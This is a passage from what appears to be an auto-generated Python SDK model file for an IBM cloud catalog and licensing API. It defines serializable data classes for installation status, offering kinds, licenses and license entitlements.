_dict['errors'] = self.errors
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this InstallStatusContentMgmt object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'InstallStatusContentMgmt') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'InstallStatusContentMgmt') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class InstallStatusMetadata():
"""
Installation status metadata.
:attr str cluster_id: (optional) Cluster ID.
:attr str region: (optional) Cluster region.
:attr str namespace: (optional) Cluster namespace.
:attr str workspace_id: (optional) Workspace ID.
:attr str workspace_name: (optional) Workspace name.
"""
def __init__(self,
*,
cluster_id: str = None,
region: str = None,
namespace: str = None,
workspace_id: str = None,
workspace_name: str = None) -> None:
"""
Initialize a InstallStatusMetadata object.
:param str cluster_id: (optional) Cluster ID.
:param str region: (optional) Cluster region.
:param str namespace: (optional) Cluster namespace.
:param str workspace_id: (optional) Workspace ID.
:param str workspace_name: (optional) Workspace name.
"""
self.cluster_id = cluster_id
self.region = region
self.namespace = namespace
self.workspace_id = workspace_id
self.workspace_name = workspace_name
@classmethod
def from_dict(cls, _dict: Dict) -> 'InstallStatusMetadata':
"""Initialize a InstallStatusMetadata object from a json dictionary."""
args = {}
if 'cluster_id' in _dict:
args['cluster_id'] = _dict.get('cluster_id')
if 'region' in _dict:
args['region'] = _dict.get('region')
if 'namespace' in _dict:
args['namespace'] = _dict.get('namespace')
if 'workspace_id' in _dict:
args['workspace_id'] = _dict.get('workspace_id')
if 'workspace_name' in _dict:
args['workspace_name'] = _dict.get('workspace_name')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a InstallStatusMetadata object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'cluster_id') and self.cluster_id is not None:
_dict['cluster_id'] = self.cluster_id
if hasattr(self, 'region') and self.region is not None:
_dict['region'] = self.region
if hasattr(self, 'namespace') and self.namespace is not None:
_dict['namespace'] = self.namespace
if hasattr(self, 'workspace_id') and self.workspace_id is not None:
_dict['workspace_id'] = self.workspace_id
if hasattr(self, 'workspace_name') and self.workspace_name is not None:
_dict['workspace_name'] = self.workspace_name
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this InstallStatusMetadata object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'InstallStatusMetadata') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'InstallStatusMetadata') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class InstallStatusRelease():
"""
Release information.
:attr List[object] deployments: (optional) Kube deployments.
:attr List[object] replicasets: (optional) Kube replica sets.
:attr List[object] statefulsets: (optional) Kube stateful sets.
:attr List[object] pods: (optional) Kube pods.
:attr List[object] errors: (optional) Kube errors.
"""
def __init__(self,
*,
deployments: List[object] = None,
replicasets: List[object] = None,
statefulsets: List[object] = None,
pods: List[object] = None,
errors: List[object] = None) -> None:
"""
Initialize a InstallStatusRelease object.
:param List[object] deployments: (optional) Kube deployments.
:param List[object] replicasets: (optional) Kube replica sets.
:param List[object] statefulsets: (optional) Kube stateful sets.
:param List[object] pods: (optional) Kube pods.
:param List[object] errors: (optional) Kube errors.
"""
self.deployments = deployments
self.replicasets = replicasets
self.statefulsets = statefulsets
self.pods = pods
self.errors = errors
@classmethod
def from_dict(cls, _dict: Dict) -> 'InstallStatusRelease':
"""Initialize a InstallStatusRelease object from a json dictionary."""
args = {}
if 'deployments' in _dict:
args['deployments'] = _dict.get('deployments')
if 'replicasets' in _dict:
args['replicasets'] = _dict.get('replicasets')
if 'statefulsets' in _dict:
args['statefulsets'] = _dict.get('statefulsets')
if 'pods' in _dict:
args['pods'] = _dict.get('pods')
if 'errors' in _dict:
args['errors'] = _dict.get('errors')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a InstallStatusRelease object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'deployments') and self.deployments is not None:
_dict['deployments'] = self.deployments
if hasattr(self, 'replicasets') and self.replicasets is not None:
_dict['replicasets'] = self.replicasets
if hasattr(self, 'statefulsets') and self.statefulsets is not None:
_dict['statefulsets'] = self.statefulsets
if hasattr(self, 'pods') and self.pods is not None:
_dict['pods'] = self.pods
if hasattr(self, 'errors') and self.errors is not None:
_dict['errors'] = self.errors
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this InstallStatusRelease object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'InstallStatusRelease') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'InstallStatusRelease') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Kind():
"""
Offering kind.
:attr str id: (optional) Unique ID.
:attr str format_kind: (optional) content kind, e.g., helm, vm image.
:attr str target_kind: (optional) target cloud to install, e.g., iks,
open_shift_iks.
:attr object metadata: (optional) Open ended metadata information.
:attr str install_description: (optional) Installation instruction.
:attr List[str] tags: (optional) List of tags associated with this catalog.
:attr List[Feature] additional_features: (optional) List of features associated
with this offering.
:attr datetime created: (optional) The date and time this catalog was created.
:attr datetime updated: (optional) The date and time this catalog was last
updated.
:attr List[Version] versions: (optional) list of versions.
:attr List[Plan] plans: (optional) list of plans.
"""
def __init__(self,
*,
id: str = None,
format_kind: str = None,
target_kind: str = None,
metadata: object = None,
install_description: str = None,
tags: List[str] = None,
additional_features: List['Feature'] = None,
created: datetime = None,
updated: datetime = None,
versions: List['Version'] = None,
plans: List['Plan'] = None) -> None:
"""
Initialize a Kind object.
:param str id: (optional) Unique ID.
:param str format_kind: (optional) content kind, e.g., helm, vm image.
:param str target_kind: (optional) target cloud to install, e.g., iks,
open_shift_iks.
:param object metadata: (optional) Open ended metadata information.
:param str install_description: (optional) Installation instruction.
:param List[str] tags: (optional) List of tags associated with this
catalog.
:param List[Feature] additional_features: (optional) List of features
associated with this offering.
:param datetime created: (optional) The date and time this catalog was
created.
:param datetime updated: (optional) The date and time this catalog was last
updated.
:param List[Version] versions: (optional) list of versions.
:param List[Plan] plans: (optional) list of plans.
"""
self.id = id
self.format_kind = format_kind
self.target_kind = target_kind
self.metadata = metadata
self.install_description = install_description
self.tags = tags
self.additional_features = additional_features
self.created = created
self.updated = updated
self.versions = versions
self.plans = plans
@classmethod
def from_dict(cls, _dict: Dict) -> 'Kind':
"""Initialize a Kind object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'format_kind' in _dict:
args['format_kind'] = _dict.get('format_kind')
if 'target_kind' in _dict:
args['target_kind'] = _dict.get('target_kind')
if 'metadata' in _dict:
args['metadata'] = _dict.get('metadata')
if 'install_description' in _dict:
args['install_description'] = _dict.get('install_description')
if 'tags' in _dict:
args['tags'] = _dict.get('tags')
if 'additional_features' in _dict:
args['additional_features'] = [Feature.from_dict(x) for x in _dict.get('additional_features')]
if 'created' in _dict:
args['created'] = string_to_datetime(_dict.get('created'))
if 'updated' in _dict:
args['updated'] = string_to_datetime(_dict.get('updated'))
if 'versions' in _dict:
args['versions'] = [Version.from_dict(x) for x in _dict.get('versions')]
if 'plans' in _dict:
args['plans'] = [Plan.from_dict(x) for x in _dict.get('plans')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Kind object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'format_kind') and self.format_kind is not None:
_dict['format_kind'] = self.format_kind
if hasattr(self, 'target_kind') and self.target_kind is not None:
_dict['target_kind'] = self.target_kind
if hasattr(self, 'metadata') and self.metadata is not None:
_dict['metadata'] = self.metadata
if hasattr(self, 'install_description') and self.install_description is not None:
_dict['install_description'] = self.install_description
if hasattr(self, 'tags') and self.tags is not None:
_dict['tags'] = self.tags
if hasattr(self, 'additional_features') and self.additional_features is not None:
_dict['additional_features'] = [x.to_dict() for x in self.additional_features]
if hasattr(self, 'created') and self.created is not None:
_dict['created'] = datetime_to_string(self.created)
if hasattr(self, 'updated') and self.updated is not None:
_dict['updated'] = datetime_to_string(self.updated)
if hasattr(self, 'versions') and self.versions is not None:
_dict['versions'] = [x.to_dict() for x in self.versions]
if hasattr(self, 'plans') and self.plans is not None:
_dict['plans'] = [x.to_dict() for x in self.plans]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Kind object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Kind') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Kind') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class License():
"""
BSS license.
:attr str id: (optional) License ID.
:attr str name: (optional) license name.
:attr str type: (optional) type of license e.g., Apache xxx.
:attr str url: (optional) URL for the license text.
:attr str description: (optional) License description.
"""
def __init__(self,
*,
id: str = None,
name: str = None,
type: str = None,
url: str = None,
description: str = None) -> None:
"""
Initialize a License object.
:param str id: (optional) License ID.
:param str name: (optional) license name.
:param str type: (optional) type of license e.g., Apache xxx.
:param str url: (optional) URL for the license text.
:param str description: (optional) License description.
"""
self.id = id
self.name = name
self.type = type
self.url = url
self.description = description
@classmethod
def from_dict(cls, _dict: Dict) -> 'License':
"""Initialize a License object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'type' in _dict:
args['type'] = _dict.get('type')
if 'url' in _dict:
args['url'] = _dict.get('url')
if 'description' in _dict:
args['description'] = _dict.get('description')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a License object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'type') and self.type is not None:
_dict['type'] = self.type
if hasattr(self, 'url') and self.url is not None:
_dict['url'] = self.url
if hasattr(self, 'description') and self.description is not None:
_dict['description'] = self.description
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this License object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'License') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'License') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class LicenseEntitlement():
"""
License entitlement.
:attr str name: (optional) Entitlement name.
:attr str id: (optional) Entitlement ID.
:attr str crn: (optional) Entitlement CRN.
:attr str url: (optional) URL for the BSS entitlement, e.g.
/v1/licensing/entitlements/:id.
:attr str offering_type: (optional) Entitlement offering type.
:attr str state: (optional) State of the BSS entitlement, e.g. 'active' or if
it's been deleted, 'removed'.
:attr str effective_from: (optional) Entitlement is good from this starting
date. eg. '2019-07-17T21:21:47.6794935Z'.
:attr str effective_until: (optional) Entitlement is good until this ending
date. eg. '2019-07-17T21:21:47.6794935Z'.
:attr str account_id: (optional) Account ID where this entitlement is bound to.
:attr str owner_id: (optional) Account ID of owner.
:attr str version_id: (optional) GC ID of the specific offering version.
:attr str license_offering_id: (optional) Marketplace offering ID for this
license entitlement.
:attr str license_id: (optional) Specific license entitlement ID from the
license provider, eg. D1W3R4.
:attr str license_owner_id: (optional) IBM ID of the owner of this license
entitlement.
:attr str license_type: (optional) Type of license entitlement, e.g. ibm-ppa.
:attr str license_provider_id: (optional) ID of the license provider.
:attr str license_provider_url: (optional) URL for the BSS license provider,
e.g. /v1/licensing/license_providers/:license_provider_id.
:attr str license_product_id: (optional) Specific license entitlement ID from
the license provider, eg. D1W3R4.
:attr str namespace_repository: (optional) Location of the registry images, eg.
cp/cp4d.
:attr str apikey: (optional) API key for access to the license entitlement.
:attr str create_by: (optional) IBM ID.
:attr str update_by: (optional) IBM ID.
:attr str create_at: (optional) Creation date, eg.
'2019-07-17T21:21:47.6794935Z'.
:attr str updated_at: (optional) Date last updated, eg.
'2019-07-17T21:21:47.6794935Z'.
:attr List[LicenseEntitlementHistoryItem] history: (optional) Entitlement
history.
:attr List[LicenseOfferingReference] offering_list: (optional) Array of license
offering references.
"""
def __init__(self,
*,
name: str = None,
id: str = None,
crn: str = None,
url: str = None,
offering_type: str = None,
state: str = None,
effective_from: str = None,
effective_until: str = None,
account_id: str = None,
owner_id: str = None,
version_id: str = None,
license_offering_id: str = None,
license_id: str = None,
license_owner_id: str = None,
license_type: str = None,
license_provider_id: str = None,
license_provider_url: str = None,
license_product_id: str = None,
namespace_repository: str = None,
apikey: str = None,
create_by: str = None,
update_by: str = None,
create_at: str = None,
updated_at: str = None,
history: List['LicenseEntitlementHistoryItem'] = None,
offering_list: List['LicenseOfferingReference'] = None) -> None:
"""
Initialize a LicenseEntitlement object.
:param str name: (optional) Entitlement name.
:param str id: (optional) Entitlement ID.
:param str crn: (optional) Entitlement CRN.
:param str url: (optional) URL for the BSS entitlement, e.g.
/v1/licensing/entitlements/:id.
:param str offering_type: (optional) Entitlement offering type.
:param str state: (optional) State of the BSS entitlement, e.g. 'active' or
if it's been deleted, 'removed'.
:param str effective_from: (optional) Entitlement is good from this
starting date. eg. '2019-07-17T21:21:47.6794935Z'.
:param str effective_until: (optional) Entitlement is good until this
ending date. eg. '2019-07-17T21:21:47.6794935Z'.
:param str account_id: (optional) Account ID where this entitlement is
bound to.
:param str owner_id: (optional) Account ID of owner.
:param str version_id: (optional) GC ID of the specific offering version.
:param str license_offering_id: (optional) Marketplace offering ID for this
license entitlement.
:param str license_id: (optional) Specific license entitlement ID from the
license provider, eg. D1W3R4.
:param str license_owner_id: (optional) IBM ID of the owner of this license
entitlement.
:param str license_type: (optional) Type of license entitlement, e.g.
ibm-ppa.
:param str license_provider_id: (optional) ID of the license provider.
:param str license_provider_url: (optional) URL for the BSS license
provider, e.g. /v1/licensing/license_providers/:license_provider_id.
:param str license_product_id: (optional) Specific license entitlement ID
from the license provider, eg. D1W3R4.
:param str namespace_repository: (optional) Location of the registry
images, eg. cp/cp4d.
:param str apikey: (optional) API key for access to the license
entitlement.
:param str create_by: (optional) IBM ID.
:param str update_by: (optional) IBM ID.
:param str create_at: (optional) Creation date, eg.
'2019-07-17T21:21:47.6794935Z'.
:param str updated_at: (optional) Date last updated, eg.
'2019-07-17T21:21:47.6794935Z'.
:param List[LicenseEntitlementHistoryItem] history: (optional) Entitlement
history.
:param List[LicenseOfferingReference] offering_list: (optional) Array of
license offering references.
"""
self.name = name
self.id = id
self.crn = crn
self.url = url
self.offering_type = offering_type
self.state = state
self.effective_from = effective_from
self.effective_until = effective_until
self.account_id = account_id
self.owner_id = owner_id
self.version_id = version_id
self.license_offering_id = license_offering_id
self.license_id = license_id
self.license_owner_id = license_owner_id
self.license_type = license_type
self.license_provider_id = license_provider_id
self.license_provider_url = license_provider_url
self.license_product_id = license_product_id
self.namespace_repository = namespace_repository
self.apikey = apikey
self.create_by = create_by
self.update_by = update_by
self.create_at = create_at
self.updated_at = updated_at
self.history = history
self.offering_list = offering_list
@classmethod
def from_dict(cls, _dict: Dict) -> 'LicenseEntitlement':
"""Initialize a LicenseEntitlement object from a json dictionary."""
args = {}
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'crn' in _dict:
args['crn'] = _dict.get('crn')
if 'url' in _dict:
args['url'] = _dict.get('url')
if 'offering_type' in _dict:
args['offering_type'] = _dict.get('offering_type')
if 'state' in _dict:
args['state'] = _dict.get('state')
if 'effective_from' in _dict:
args['effective_from'] = _dict.get('effective_from')
if 'effective_until' in _dict:
args['effective_until'] = _dict.get('effective_until')
if 'account_id' in _dict:
args['account_id'] = _dict.get('account_id')
if 'owner_id' in _dict:
args['owner_id'] = _dict.get('owner_id')
if 'version_id' in _dict:
args['version_id'] = _dict.get('version_id')
if 'license_offering_id' in _dict:
args['license_offering_id'] = _dict.get('license_offering_id')
if 'license_id' in _dict:
args['license_id'] = _dict.get('license_id')
if 'license_owner_id' in _dict:
args['license_owner_id'] = _dict.get('license_owner_id')
if 'license_type' in _dict:
args['license_type'] = _dict.get('license_type')
if 'license_provider_id' in _dict:
args['license_provider_id'] = _dict.get('license_provider_id')
if 'license_provider_url' in _dict:
args['license_provider_url'] = _dict.get('license_provider_url')
if 'license_product_id' in _dict:
args['license_product_id'] = _dict.get('license_product_id')
if 'namespace_repository' in _dict:
args['namespace_repository'] = _dict.get('namespace_repository')
if 'apikey' in _dict:
args['apikey'] = _dict.get('apikey')
if 'create_by' in _dict:
args['create_by'] = _dict.get('create_by')
if 'update_by' in _dict:
args['update_by'] = _dict.get('update_by')
if 'create_at' in _dict:
args['create_at'] = _dict.get('create_at')
if 'updated_at' in _dict:
args['updated_at'] = _dict.get('updated_at')
if 'history' in _dict:
args['history'] = [LicenseEntitlementHistoryItem.from_dict(x) for x in _dict.get('history')]
if 'offering_list' in _dict:
args['offering_list'] = [LicenseOfferingReference.from_dict(x) for x in _dict.get('offering_list')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a LicenseEntitlement object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'crn') and self.crn is not None:
_dict['crn'] = self.crn
if hasattr(self, 'url') and self.url is not None:
_dict['url'] = self.url
if hasattr(self, 'offering_type') and self.offering_type is not None:
_dict['offering_type'] = self.offering_type
if hasattr(self, 'state') and self.state is not None:
_dict['state'] = self.state
if hasattr(self, 'effective_from') and self.effective_from is not None:
_dict['effective_from'] = self.effective_from
if hasattr(self, 'effective_until') and self.effective_until is not None:
_dict['effective_until'] = self.effective_until
if hasattr(self, 'account_id') and self.account_id is not None:
_dict['account_id'] = self.account_id
if hasattr(self, 'owner_id') and self.owner_id is not None:
_dict['owner_id'] = self.owner_id
if hasattr(self, 'version_id') and self.version_id is not None:
_dict['version_id'] = self.version_id
if hasattr(self, 'license_offering_id') and self.license_offering_id is not None:
_dict['license_offering_id'] = self.license_offering_id
if hasattr(self, 'license_id') and self.license_id is not None:
_dict['license_id'] = self.license_id
if hasattr(self, 'license_owner_id') and self.license_owner_id is not None:
_dict['license_owner_id'] = self.license_owner_id
if hasattr(self, 'license_type') and self.license_type is not None:
_dict['license_type'] = self.license_type
if hasattr(self, 'license_provider_id') and self.license_provider_id is not None:
_dict['license_provider_id'] = self.license_provider_id
if hasattr(self, 'license_provider_url') and self.license_provider_url is not None:
_dict['license_provider_url'] = self.license_provider_url
if hasattr(self, 'license_product_id') and self.license_product_id is not None:
_dict['license_product_id'] = self.license_product_id
if hasattr(self, 'namespace_repository') and self.namespace_repository is not None:
_dict['namespace_repository'] = self.namespace_repository
if hasattr(self, 'apikey') and self.apikey is not None:
_dict['apikey'] = self.apikey
if hasattr(self, 'create_by') and self.create_by is not None:
_dict['create_by'] = self.create_by
if hasattr(self, 'update_by') and self.update_by is not None:
_dict['update_by'] = self.update_by
if hasattr(self, 'create_at') and self.create_at is not None:
_dict['create_at'] = self.create_at
if hasattr(self, 'updated_at') and self.updated_at is not None:
_dict['updated_at'] = self.updated_at
if hasattr(self, 'history') and self.history is not None:
_dict['history'] = [x.to_dict() for x in self.history]
if hasattr(self, 'offering_list') and self.offering_list is not None:
_dict['offering_list'] = [x.to_dict() for x in self.offering_list]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this LicenseEntitlement object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'LicenseEntitlement') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'LicenseEntitlement') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class LicenseEntitlementHistoryItem():
"""
LicenseEntitlementHistoryItem.
:attr str action: (optional) Eg. create.
:attr str user: (optional) Eg. IBM ID of user.
:attr str date: (optional) Date of action, eg. '2019-07-17T21:21:47.6794935Z'.
"""
def __init__(self,
*,
action: str = None,
user: str = None,
date: str = None) -> None:
"""
Initialize a LicenseEntitlementHistoryItem object.
:param str action: (optional) Eg. create.
:param str user: (optional) Eg. IBM ID of user.
:param str date: (optional) Date of action, eg.
'2019-07-17T21:21:47.6794935Z'.
"""
self.action = action
self.user = user
self.date = date
@classmethod
def from_dict(cls, _dict: Dict) -> 'LicenseEntitlementHistoryItem':
"""Initialize a LicenseEntitlementHistoryItem object from a json dictionary."""
args = {}
if 'action' in _dict:
args['action'] = _dict.get('action')
if 'user' in _dict:
args['user'] = _dict.get('user')
if 'date' in _dict:
args['date'] = _dict.get('date')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a LicenseEntitlementHistoryItem object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'action') and self.action is not None:
_dict['action'] = self.action
if hasattr(self, 'user') and self.user is not None:
_dict['user'] = self.user
if hasattr(self, 'date') and self.date is not None:
_dict['date'] = self.date
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this LicenseEntitlementHistoryItem object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'LicenseEntitlementHistoryItem') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'LicenseEntitlementHistoryItem') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class LicenseEntitlements():
"""
Paginated list of license entitlements.
:attr int total_results: (optional) Total number of results.
:attr int total_pages: (optional) Total number of pages.
:attr str prev_url: (optional) Previous URL.
:attr str next_url: (optional) Next URL.
:attr List[LicenseEntitlement] resources: (optional) Resulting Entitlement
objects.
"""
def __init__(self,
*,
total_results: int = None,
total_pages: int = None,
prev_url: str = None,
next_url: str = None,
resources: List['LicenseEntitlement'] = None) -> None:
"""
Initialize a LicenseEntitlements object.
:param int total_results: (optional) Total number of results.
:param int total_pages: (optional) Total number of pages.
:param str prev_url: (optional) Previous URL.
:param str next_url: (optional) Next URL.
:param List[LicenseEntitlement] resources: (optional) Resulting Entitlement
objects.
"""
self.total_results = total_results
self.total_pages = total_pages
self.prev_url = prev_url
self.next_url = next_url
self.resources = resources
@classmethod
def from_dict(cls, _dict: Dict) -> 'LicenseEntitlements':
"""Initialize a LicenseEntitlements object from a json dictionary."""
args = {}
if 'total_results' in _dict:
args['total_results'] = _dict.get('total_results')
if 'total_pages' in _dict:
args['total_pages'] = _dict.get('total_pages')
if 'prev_url' in _dict:
args['prev_url'] = _dict.get('prev_url')
if 'next_url' in _dict:
args['next_url'] = _dict.get('next_url')
if 'resources' in _dict:
args['resources'] = [LicenseEntitlement.from_dict(x) for x in _dict.get('resources')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a LicenseEntitlements object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'total_results') and self.total_results is not None:
_dict['total_results'] = self.total_results
if hasattr(self, 'total_pages') and self.total_pages is not None:
_dict['total_pages'] = self.total_pages
if hasattr(self, 'prev_url') and self.prev_url is not None:
_dict['prev_url'] = self.prev_url
if hasattr(self, 'next_url') and self.next_url is not None:
_dict['next_url'] = self.next_url
if hasattr(self, 'resources') and self.resources is not None:
_dict['resources'] = [x.to_dict() for x in self.resources]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this LicenseEntitlements object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'LicenseEntitlements') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'LicenseEntitlements') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class LicenseObject():
"""
License information.
:attr str name: (optional) License name.
:attr str offering_type: (optional) Type of offering.
:attr str seats_allowed: (optional) Number of seats allowed for license.
:attr str seats_used: (optional) Number of seats used for license.
:attr str owner_id: (optional) ID of license owner.
:attr str license_offering_id: (optional) Marketplace offering ID for this
license.
:attr str license_id: (optional) specific license entitlement ID from the
license provider, eg. D1W3R4.
:attr str license_owner_id: (optional) IBM ID of the owner of this license
entitlement.
:attr str license_type: (optional) type of license entitlement, e.g. ibm-ppa.
:attr str license_provider_id: (optional) ID of the license provider.
:attr str license_product_id: (optional) specific license entitlement ID from
the license provider, eg. D1W3R4.
:attr str license_provider_url: (optional) URL for the BSS license provider,
e.g. /v1/licensing/license_providers/:license_provider_id.
:attr str effective_from: (optional) license is good from this starting date.
eg. '2019-07-17T21:21:47.6794935Z'.
:attr str effective_until: (optional) license is good until this ending date.
eg. '2019-07-17T21:21:47.6794935Z'.
:attr bool internal: (optional) If true, this will allow use of this license by
all IBMers.
:attr List[LicenseOfferingReference] offering_list: (optional) Array of license
offering references.
"""
def __init__(self,
*,
name: str = None,
offering_type: str = None,
seats_allowed: str = None,
seats_used: str = None,
owner_id: str = None,
license_offering_id: str = None,
license_id: str = None,
license_owner_id: str = None,
license_type: str = None,
license_provider_id: str = None,
license_product_id: str = None,
license_provider_url: str = None,
effective_from: str = None,
effective_until: str = None,
internal: bool = None,
offering_list: List['LicenseOfferingReference'] = None) -> None:
"""
Initialize a LicenseObject object.
:param str name: (optional) License name.
:param str offering_type: (optional) Type of offering.
:param str seats_allowed: (optional) Number of seats allowed for license.
:param str seats_used: (optional) Number of seats used for license.
:param str owner_id: (optional) ID of license owner.
:param str license_offering_id: (optional) Marketplace offering ID for this
license.
:param str license_id: (optional) specific license entitlement ID from the
license provider, eg. D1W3R4.
:param str license_owner_id: (optional) IBM ID of the owner of this license
entitlement.
:param str license_type: (optional) type of license entitlement, e.g.
ibm-ppa.
:param str license_provider_id: (optional) ID of the license provider.
:param str license_product_id: (optional) specific license entitlement ID
from the license provider, eg. D1W3R4.
:param str license_provider_url: (optional) URL for the BSS license
provider, e.g. /v1/licensing/license_providers/:license_provider_id.
:param str effective_from: (optional) license is good from this starting
date. eg. '2019-07-17T21:21:47.6794935Z'.
:param str effective_until: (optional) license is good until this ending
date. eg. '2019-07-17T21:21:47.6794935Z'.
:param bool internal: (optional) If true, this will allow use of this
license by all IBMers.
:param List[LicenseOfferingReference] offering_list: (optional) Array of
license offering references.
"""
self.name = name
self.offering_type = offering_type
self.seats_allowed = seats_allowed
self.seats_used = seats_used
self.owner_id = owner_id
self.license_offering_id = license_offering_id
self.license_id = license_id
self.license_owner_id = license_owner_id
self.license_type = license_type
self.license_provider_id = license_provider_id
self.license_product_id = license_product_id
self.license_provider_url = license_provider_url
self.effective_from = effective_from
self.effective_until = effective_until
self.internal = internal
self.offering_list = offering_list
@classmethod
def from_dict(cls, _dict: Dict) -> 'LicenseObject':
"""Initialize a LicenseObject object from a json dictionary."""
args = {}
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'offering_type' in _dict:
args['offering_type'] = _dict.get('offering_type')
if 'seats_allowed' in _dict:
args['seats_allowed'] = _dict.get('seats_allowed')
if 'seats_used' in _dict:
args['seats_used'] = _dict.get('seats_used')
if 'owner_id' in _dict:
args['owner_id'] = _dict.get('owner_id')
if 'license_offering_id' in _dict:
args['license_offering_id'] = _dict.get('license_offering_id')
if 'license_id' in _dict:
args['license_id'] = _dict.get('license_id')
if 'license_owner_id' in _dict:
args['license_owner_id'] = _dict.get('license_owner_id')
if 'license_type' in _dict:
args['license_type'] = _dict.get('license_type')
if 'license_provider_id' in _dict:
args['license_provider_id'] = _dict.get('license_provider_id')
if 'license_product_id' in _dict:
args['license_product_id'] = _dict.get('license_product_id')
if 'license_provider_url' in _dict:
args['license_provider_url'] = _dict.get('license_provider_url')
if 'effective_from' in _dict:
args['effective_from'] = _dict.get('effective_from')
if 'effective_until' in _dict:
args['effective_until'] = _dict.get('effective_until')
if 'internal' in _dict:
args['internal'] = _dict.get('internal')
if 'offering_list' in _dict:
args['offering_list'] = [LicenseOfferingReference.from_dict(x) for x in _dict.get('offering_list')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a LicenseObject object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'offering_type') and self.offering_type is not None:
_dict['offering_type'] = self.offering_type
if hasattr(self, 'seats_allowed') and self.seats_allowed is not None:
